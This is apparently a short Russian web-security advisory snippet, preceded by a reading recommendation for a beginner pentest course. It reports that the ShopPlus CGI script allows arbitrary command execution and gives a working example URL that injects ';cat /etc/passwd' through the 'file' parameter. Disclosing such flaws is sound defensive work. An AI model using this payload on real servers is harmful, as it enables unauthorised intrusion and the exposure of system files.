Рекомендуем почитать:


Пентест WEB: практический курс для начинающих
Система ShopPlus позволяет исполнять
произвольные команды с привилегиями web-сервера.
Пример:
http://host/scripts/shopplus.cgi?dn=host&cartid= %CARTID%&file=;cat%20/etc/passwd|